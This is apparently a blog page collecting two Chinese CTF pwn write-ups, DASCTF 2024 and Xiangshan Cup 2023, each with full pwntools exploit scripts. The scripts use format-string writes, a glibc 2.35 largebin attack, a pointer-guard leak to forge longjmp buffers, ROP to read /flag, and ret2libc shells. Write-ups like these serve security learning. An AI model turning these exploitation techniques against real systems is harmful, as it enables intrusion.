跳到主要内容

17 篇博文 含有标签「writeup」

查看所有标签

「PWN」【DASCTF2024 暑期】Writeup WP 复现

· 阅读需 10 分钟
Muel - Nova
Anime Would PWN This WORLD into 2D

再不做题手生完了,没书读了。

SpringBoard

非栈上格式化字符串,栈上找一个 a->b->c 的链子,把 a->b 改成 a->b*->return_address(一般两字节够改了)

然后改 b*->onegadget

from pwno import *

# sh = process("./pwn.bak", env={"LD_PRELOAD": "./libc.so.6", "LD_LIBRARY_PATH": "."})
sh = gen_sh()
sa("Please enter a keyword\n", b"%9$pAAAA%6$p")

libc.address = int(recvu(b"AAAA", drop=True), 16) - 0x20840
stack = int(recvu(b"You", drop=True), 16) # %10$p, next = %37$p

success(f"libc.address: {hex(libc.address)}")
success(f"stack: {hex(stack)}")

og = [0x4527A, 0xF03A4, 0xF1247]

gadget = libc.address + og[2]

# payload = b" ".join(f"{i}:%{i}$p".encode() for i in range(6, 20))
payload = "%{}c%11$hn".format((stack - 0xD8) & 0xFFFF).encode() # -> ebp
dbg("b printf")
sa("Please enter a keyword\n", payload)


payload = "%{}c%37$hn".format((gadget) & 0xFFFF).encode() # -> low 2 byte
sa("Please enter a keyword\n", payload)

# payload = b" ".join(f"{i}:%{i}$p".encode() for i in range(6, 20))
payload = "%{}c%11$hn".format((stack - 0xD8 + 2) & 0xFFFF).encode() # -> ebp + 2
sa("Please enter a keyword\n", payload)


success(f"{hex(gadget)}")
dbg("b printf")
payload = "%{}c%37$hn".format(((gadget) >> 16) & 0xFFFF).encode()
sa("Please enter a keyword\n", payload)

# stack + 0xa0
ia()

magicbook

2.35,一眼 largebin

edit 看到是 read(0, buf, book),考虑能不能直接把 book 改大了造成溢出

void *edit_the_book()
{
size_t v0; // rax
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("come on,Write down your story!");
read(0, buf, book);
v0 = strlen(buf);
return memcpy(dest, buf, v0);
}

create 能造最多五个

size_t creat_the_book()
{
size_t v0; // rbx
__int64 size[2]; // [rsp+Ch] [rbp-14h] BYREF

if ( book > 5 )
{
puts("full!!");
exit(0);
}
printf("the book index is %d\n", book);
puts("How many pages does your book need?");
LODWORD(size[0]) = 0;
__isoc99_scanf("%u", size);
if ( LODWORD(size[0]) > 0x500 )
{
puts("wrong!!");
exit(0);
}
v0 = book;
p[v0] = malloc(LODWORD(size[0]));
return ++book;
}

delete 有 UAF。free 出来一个 largebin 之后,改 fd 打 largebin attack,把 book 改了就能溢出了。

__int64 delete_the_book()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int v2; // [rsp+4h] [rbp-Ch] BYREF
char buf[8]; // [rsp+8h] [rbp-8h] BYREF

puts("which book would you want to delete?");
__isoc99_scanf("%d", &v2);
if ( v2 > 5 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
free((void *)p[v2]);
puts("Do you want to say anything else before being deleted?(y/n)");
read(0, buf, 4uLL);
if ( d && (buf[0] == 0x59 || buf[0] == 121) )
{
puts("which page do you want to write?");
__isoc99_scanf("%u", &v1);
if ( v1 > 4 || !p[v2] )
{
puts("wrong!!");
exit(0);
}
puts("content: ");
read(0, (void *)(p[v1] + 8LL), 0x18uLL);
--d;
return 0LL;
}
else
{
if ( d )
puts("ok!");
else
puts("no ways!!");
return 0LL;
}
}

问题就是 Largebin 怎么改我已经忘完了 😂

在这里简单复习一下 2.35 的路径。

首先 >= 0x440 就直接进 ub,之后分配的时候优先从 ub 拿,ub 不够拿就走 main_arena,然后入 largebin。在这里,我们只讨论 [0x440~0xc40) 这个范围内的 lb,因为它们每个间隔 0x40

largebin bin 按大小区间分;一个 largebin 按从大到小组织起来。每个 size 头指针不变,为第一个该 size 的 chunk(第一个释放的 chunk),后面则是在它后面头插。

对于每个 size 的头指针,使用 fd_nextsize 和 bk_nextsize 串起来,fd_nextsize 指向更小的,是一个循环链表。

而 fd 和 bk 则用来管理整个 size 链表。

img

接下来说 largebin attack 怎么用。当我们插入一个比链表最小的还要小一点的 chunk (源码里记为 victim)的时候,那它就会把它插入 chunk

因此就有如下的操作:

fwd = bck;  // bck 是 main arena 上的,fwd->fd 也就是当前 chunk 最大的。
bck = bck->bk; // 最小的

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; // 可以把 chunk->bk_Nextsize 改为 victim

因此可以注意到,我们可以修改 fwd->bk_nextsize,使得 fwd->bk_nextsize 指向 addr-0x20 的地方,就可以使得其写为 victim 的值。

所以在这里,我们申请一个 0x450 的堆块,给它丢 largebin 里,然后改 bk_nextsize 为 book-0x20,再把一个 0x440 的堆块放 largebin 里,就可以把 book 写一个大值。

最后 exp:

from pwno import *

sh = gen_sh()

def menu(idx: int):
recvu(b'Your choice:\n')
sl(str(idx).encode())

def add(size: int):
menu(1)
sla(b'your book need?\n', str(size).encode())


def delete(idx: int, page: int | None = None, content: bytes = None):
menu(2)
sla(b'want to delete?\n', str(idx).encode())
if page is not None:
sla(b'being deleted?(y/n)\n', b'y')
sla(b'which page do you want to write?\n', str(page).encode())
sla(b'content: \n', content)
else:
sla(b'being deleted?(y/n)\n', b'n')

def edit(content: bytes):
menu(3)
sla(b'your story!\n', content)



recvu(b'give you a gift: ')
gift = int(recvu(b'what', drop=True), 16) - 0x4010
success("gift: %s" % hex(gift))

book = gift + 0x4050

add(0x450) # 0
add(0x20) # 1
add(0x440) # 2
delete(0)

add(0x460) # 3, 0->large
delete(2, 0, p64(gift + 0x101a) + p64(0) + p64(book-0x20))
add(0x4f0) # 4, 2->large, book->&2

elf = ELF('./pwn')
print(elf.got['puts'], elf.plt['puts'])

ret = gift + 0x101a
pop_rdi_ret = gift + 0x1863
puts_plt = gift + Elf.plt['puts']
puts_got = gift + Elf.got['puts']

edit(b'\x00'*0x28 + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(gift + 0x15e1))

libc.address = uu64(recv(6)) - 0x80ed0
# dbg('b *$rebase(0x15d5)')
success("libc: %s" % hex(libc.address))

pop_rsi_ret = libc.address + 0x2be51
pop_rdx_pop_r12_ret = libc.address + 0x11f497


read_ = libc.sym['read']
write_ = libc.sym['write']
open_ = libc.sym['open']


payload = p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(gift + Elf.bss() + 0x200) + p64(pop_rdx_pop_r12_ret) + p64(0x20) + p64(0) + p64(read_)
payload += p64(pop_rdi_ret) + p64(gift + Elf.bss() + 0x200) + p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_pop_r12_ret) + p64(0) + p64(0) + p64(open_)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(gift + Elf.bss() + 0x100) + p64(pop_rdx_pop_r12_ret) + p64(0x100) + p64(0x100) + p64(read_)
payload += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(gift + Elf.bss() + 0x100) + p64(pop_rdx_pop_r12_ret) + p64(0x100) + p64(0x100) + p64(write_)
dbg('b *$rebase(0x1631)')
sa(b'your story!\n', b'\x00'*0x28 + payload)
sl(b'/flag\x00')

ia()

vhttp

好玩的题。虽然逆向难。

image-20240724005010517

image-20240724005022603

可以看到有一个 fread,其 content-length 是我们可以控制的,因此有一个栈溢出。然而,由于它都用的 exit 退出,因此我们没办法直接 ROP。显然需要 longjmp 去间接跳转。

setjmp 大概是这个情况

sysdeps/x86_64/setjmp.S

ENTRY (__sigsetjmp)
/* Save registers. */
movq %rbx, (JB_RBX*8)(%rdi)
movq %rbp, (JB_RBP*8)(%rdi)
movq %r12, (JB_R12*8)(%rdi)
movq %r13, (JB_R13*8)(%rdi)
movq %r14, (JB_R14*8)(%rdi)
movq %r15, (JB_R15*8)(%rdi)
movq %rdx, (JB_RSP*8)(%rdi)
movq %rip, (JB_PC*8)(%rdi)

合理想象,如果我们这样设置,似乎就会 longjmp 了

payload = "GET /lib HTTP/1.0\r\n"
payload += "content-length: %d\r\n"
payload += "\r\n"
evil = b"&pass=v3rdant".ljust(512, b'\x00')
evil += flat([0, 1, 2, 3, 4, 5, 6, 0x41414141])

payload = payload % (len(evil))
payload = payload.encode() + evil
pwndbg> p/x *(struct __jmp_buf_tag *)($rbp-0xe0)
$2 = {
__jmpbuf = {0x0, 0x1, 0x2, 0x3, 0x4, 0x5, 0x6, 0x41414141},
__mask_was_saved = 0x0,
__saved_mask = {
__val = {0x0 <repeats 16 times>}
}
}

但是,实际测试后发现,它变成了 0x7f8cc1dd08d0 <__longjmp+192> jmp rdx <0x82b009f02e2e6b00>

image-20240724011628277

可以发现,它对这些寄存器进行了 ror 和 xor 的操作,这其实是 TLB 的 pointer guard 导致的。具体我也忘了在哪篇论文里看的了,对于 setjmp 和 longjmp,它会利用这个进行加密。(应该是 Eternal War?)

那么我们只需要泄露它就好了。在多线程里,栈大小是固定的,fsbase 也是固定在栈底的。我们有一个无限大小的栈溢出和泄露,轻松拿到它。

pwndbg> p/x &((tcbhead_t *)(0x7f12ebc506c0))->pointer_guard
$3 = 0x7f12ebc506f0
pwndbg> p/x $rdi
$5 = 0x7f12ebc4fbe0
pwndbg> p/x 0x7f12ebc506f0-0x7f12ebc4fbe0
$7 = 0xb10 # 在它用的 libc 里,是 0xb20

再简单写出它的加密函数

def rol(v: int, k: int) -> int:
v = v & 0xFFFFFFFFFFFFFFFF
v = ((v << k) & 0xFFFFFFFFFFFFFFFF) | v >> (64 - k)
return v

def ptr(v: int, pg: int) -> int:
return rol(v, 0x11) ^ pg

那么回到哪里呢?headers!我们设一个 header,value 为 ROP 链子就好

payload += "muElnova: %s\r\n"
rop_chain = flat([
pop_rdi_ret,
flag,
pop_rsi_r15_ret,
0,
0,
open_,

pop_rdi_ret,
3,
pop_rsi_r15_ret,
0x405300,
0,
pop_rdx_ret,
0x20,
read_,


pop_rdi_ret,
1,
pop_rsi_r15_ret,
0x405300,
0,
pop_rdx_ret,
0x20,
write_,
])

payload = payload.encode()
evil = b"\r\nuser=newbew".ljust(0xb20-8, b'B') + B'A'*8
payload = payload % (len(evil), rop_chain)

最终 EXP:

from pwno import *

context.arch = 'amd64'


sh = gen_sh("pwn")

payload = "GET /lib HTTP/1.0\r\n"
payload += "content-length: %d\r\n"
payload += "muElnova: %s\r\n"
payload += "\r\n"

evil = b"\r\nuser=newbew".ljust(0xb20-8, b'B') + B'A'*8

pop_rdi_ret = 0x4028f3
pop_rsi_r15_ret = 0x4028f1
pop_rdx_ret = 0x40157d
ret = 0x4028F4
flag = 0x40338A
open_ = Elf.plt['open']
read_ = Elf.plt['read']
write_ = Elf.plt['write']


rop_chain = flat([
pop_rdi_ret,
flag,
pop_rsi_r15_ret,
0,
0,
open_,

pop_rdi_ret,
3,
pop_rsi_r15_ret,
0x405300,
0,
pop_rdx_ret,
0x20,
read_,


pop_rdi_ret,
1,
pop_rsi_r15_ret,
0x405300,
0,
pop_rdx_ret,
0x20,
write_,
])

payload = payload.encode()
payload = payload % (len(evil), rop_chain)

dbg('b siglongjmp\nb *0x401DD1')
sh.send(payload)
sh.send(evil)
sh.recvuntil(b'A'*8)

pointer_guard = uu64(sh.recv(8))
success(f"pointer_guard: {hex(pointer_guard)}")

def rol(v: int, k: int) -> int:
v = v & 0xFFFFFFFFFFFFFFFF
v = ((v << k) & 0xFFFFFFFFFFFFFFFF) | v >> (64 - k)
return v

def ptr(v: int, pg: int) -> int:
return rol(v ^ pg, 0x11)

evil2 = b"&pass=v3rdant".ljust(512, b'A')
# rbx, rbp, r12, r13, r14, r15, rdx, rip
evil2 = (evil2+flat([0, ptr(0x40514A-8, pointer_guard), 2, 3, 4, 5, 0, ptr(0x401CE5, pointer_guard)])).ljust(len(evil)-8*5, b'B') + p64(0x40514A+0x100)*5

sh.send(evil2)
ia()

题外话

Arch 如何自动进行 glibc 源码级调试

Arch 现在有 debuginfod

paru -Sy debuginfod

然后把这几行添加去 .gdbinit 里

set debuginfod enabled on
set debuginfod urls "https://debuginfod.archlinux.org/"
set debuginfod verbose 1

参考

Glibc TLS的实现与利用 | M4tsuri's Blog

Largebin attack漏洞利用分析 - FreeBuf网络安全行业门户 (大白学长写的hhh)

「PWN」【香山杯2023】Writeup WP 复现

· 阅读需 6 分钟
Muel - Nova
Anime Would PWN This WORLD into 2D

两题简单 PWN,单纯更新一下,记录一下 Python 调试

move

纯纯签到,栈迁移泄露 libc 打 system 即可(省略 Snippet 部分)

注意到进第二次 read 前,正好 RSP 是 bss + 8,进到 read 时正好到 bss 了,此时 ret 就直接回到了 bss 处,完全不需要第二次迁移。

pop_rdi = 0x0000000000401353
bss = 0x4050a0
leave_ret = 0x40124b

sendafter(b'again!', p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(elf.symbols['main']))
sendafter(b'number', p32(0x12345678))
dbg(pause_time=5)
sendafter(b'TaiCooLa', b'A'*0x30 + p64(bss-8) + p64(leave_ret))

libc.address = u64(recv(6).ljust(8, b'\x00')) - libc.symbols['puts']
print(f'libc: {hex(libc.address)}')
sendlineafter(b'again!', p64(pop_rdi) + p64(libc.search(b'/bin/sh').__next__()) + p64(libc.symbols['system']))
interactive()

Pwnthon

用 CPython 写的 .so,需要相同的 Python 版本才能导入。

注意到这个 .so 文件是动态加载的,因此不能通过 gdb.debug 直接下断点。但是测试的时候又发现我卡在 read 时再下断并不能 c 过去

信息

事后推测可能是断点下错位置了,不好评价

因此我采用一种比较 tricky 的方法,就是把断点下到 PyImport_ImportModule+4 的位置,看导到哪个包时 .so 被加载,此时再下断,后面调试的时候下条件断点即可。

b *PyImport_ImportModule+4 if strcmp((char*)$rdi, "datetime") == 0

断的时候也有技巧,导入 ida 时发现它有 dbg 信息,可以知道某一行是哪个文件的哪行,而 gdb 会自动处理 offset,这样会方便一些。当然,因为符号表没去掉,所以也可以直接 func_name+offset

image-20231017090646706

b app.c:2963
# or
b __pyx_f_3app_Welcome2Pwnthon+36

调试的方法说完了就直接开看。漏洞点也很明显,一个格式化字符串 + 一个栈溢出

image-20231017091040667

但是 Python 不能使用 %n$ 这样的方法,因此得一个一个写,也就没有什么任意地址写的方法。不过 gdb 一调就发现栈上有可以泄露的 open64+232 之类的地址,再加上 canary 一起泄露就完事了。

image-20231017092014997

注意这里 Python 用 rsp 来存返回地址,所以虽然是 %31$p 但是其实是 %30$ 就可以

sendline(b'%p.'*0x1e)
resp = recvline(keepends=False).split(b'.')
print(resp)
canary = int(resp[-2], 16)
success(f'>> canary = {hex(canary)}')
libc.address = int(resp[-8], 16) - 0x1147b8
success(f">> libc = {hex(libc.address)}")

拿出来之后栈溢出写 system 就行

from pwn import *
from argparse import ArgumentParser
from pathlib import Path
from typing import Optional, Any, Literal

# ------- Config -------
LOG_LEVEL = 'debug'
OS = 'linux'
ARCH = 'amd64'
TERMINAL = ['wt.exe', 'bash', '-c']

ATTACHMENT = './pwn'
RUNARGS = ''
LIBC = './libc.so.6'
HOST = ''
PORT = 0

DEBUG = True
REMOTE = False
GDB = False # gdb.debug(elf.path, gdbscript=gdbscript)
GDB_SCRIPT = ''

# ------- Config -------
parser = ArgumentParser(description="Pwnable Commandline")
parser.add_argument('ATTACHMENT', nargs='?', default=ATTACHMENT)
parser.add_argument('--libc', '-l', nargs='?', default=LIBC)
parser.add_argument('--no-debug', '-D', action='store_true', default=False, help='Disable debug mode')
parser.add_argument('--remote', '-r', action='store', default="")
parser.add_argument('--host', '-H', action='store', default='')
parser.add_argument('--port', '-p', action='store', default=0)
parser.add_argument('--gdb', '-g', action='store_true', default=GDB, help='Run binary using gdb.debug')
parser.add_argument('--gdb-script', '-G', action='store', default=GDB_SCRIPT)
parser.add_argument('--args', '-a', action='store', default=RUNARGS)
args = parser.parse_args()

if args.host and args.port:
REMOTE = True
HOST = args.host
PORT = int(args.port)

if args.remote:
REMOTE = True
HOST, PORT = args.remote.split(':')
PORT = int(PORT)

if args.args:
RUNARGS = args.args

# To avoid error
if not Path(args.ATTACHMENT).exists():
ATTACHMENT = '/bin/sh'
DEBUG = False
else:
ATTACHMENT = args.ATTACHMENT

if not Path(args.libc).exists():
LIBC = '/lib/x86_64-linux-gnu/libc.so.6'
else:
LIBC = args.libc

if args.no_debug:
DEBUG = False

if args.gdb:
DEBUG = False
GDB=True
GDB_SCRIPT = args.gdb_script

del parser, ArgumentParser, Path, args

context.log_level = LOG_LEVEL
context.terminal = TERMINAL
context.os = OS
context.arch = ARCH

if REMOTE:
DEBUG = False
sh = remote(HOST, PORT)
elif GDB:
sh = gdb.debug([ATTACHMENT, *RUNARGS.split(' ')], gdbscript=GDB_SCRIPT)
else:
sh = process([ATTACHMENT, *RUNARGS.split(' ')])

libc = ELF(LIBC)
elf = ELF(ATTACHMENT)

sendline = sh.sendline
sendlineafter = sh.sendlineafter
send = sh.send
sendafter = sh.sendafter
recv = sh.recv
recvline = sh.recvline
recvuntil = sh.recvuntil
interactive = sh.interactive

# Type Hint
def p4(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 4, endianness, sign, **kwargs)
def p8(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 8, endianness, sign, **kwargs)
def p16(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 16, endianness, sign, **kwargs)
def p32(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 32, endianness, sign, **kwargs)
def p64(x: int, endianness: Optional[Literal['little', 'big']] = None, sign = Optional[bool], **kwargs: Any) -> bytes: return pack(x, 64, endianness, sign, **kwargs)
def u4(x: bytes, **kwargs: Any) -> int: return unpack(x, 4, **kwargs)
def u8(x: bytes, **kwargs: Any) -> int: return unpack(x, 8, **kwargs)
def u16(x: bytes, **kwargs: Any) -> int: return unpack(x, 16, **kwargs)
def u32(x: bytes, **kwargs: Any) -> int: return unpack(x, 32, **kwargs)
def u64(x: bytes, **kwargs: Any) -> int: return unpack(x, 64, **kwargs)


def dbg(script: str = '', pause_time: int = 3, **kwargs):
if DEBUG:
gdb.attach(sh, script, **kwargs)
if pause_time == 0:
pause()
else:
pause(pause_time)

class Offset:
def __init__(self, base: int, program: ELF):
self.base = base
self.program = program

def __getattr__(self, item) -> int:
"""
offset.plt.puts
offset.got.puts
offset.main
"""
if item in ['plt', 'got']:
class _:
def __getattr__(s, i):
return self.base + getattr(self.program, item)[i]
return _()
return self.base + self.program.symbols[item]

def __getitem__(self, item) -> int:
"""
offset['plt', 'puts']
offset['got', 'puts']
offset['main']
"""
if isinstance(item, tuple):
return self.base + getattr(self.program, item[0])[item[1]]
else:
return self.base + self.program.sym[item]

# ------- Exploit -------'
# dbg('set follow-fork-mode parent\nb *__pyx_f_3app_Welcome2Pwnthon+163')
dbg('set follow-fork-mode parent\nb *__pyx_f_3app_Welcome2Pwnthon+85')
sendlineafter(b'> ', b'0')
recvuntil(b'gift ')
gift = int(recvline(), 16)
success(f'>> gift = {hex(gift)}')
sendline(b'%p.'*0x1e)
resp = recvline(keepends=False).split(b'.')
print(resp)
canary = int(resp[-2], 16)
success(f'>> canary = {hex(canary)}')
libc.address = int(resp[-8], 16) - 0x1147b8
success(f">> libc = {hex(libc.address)}")

bin_sh = next(libc.search(b'/bin/sh'))
system = libc.sym['system']
ret_addr = libc.address + 0x0000000000029139
pop_rdi_ret = libc.address + 0x000000000002a3e5

payload = b'A'*0x108 + p64(canary) + p64(0) + flat(pop_rdi_ret, bin_sh, ret_addr, system)
sh.send(payload)
sh.interactive()
python exp.py -a main.py venv/bin/python # venv/bin/python 是 3.7 的版本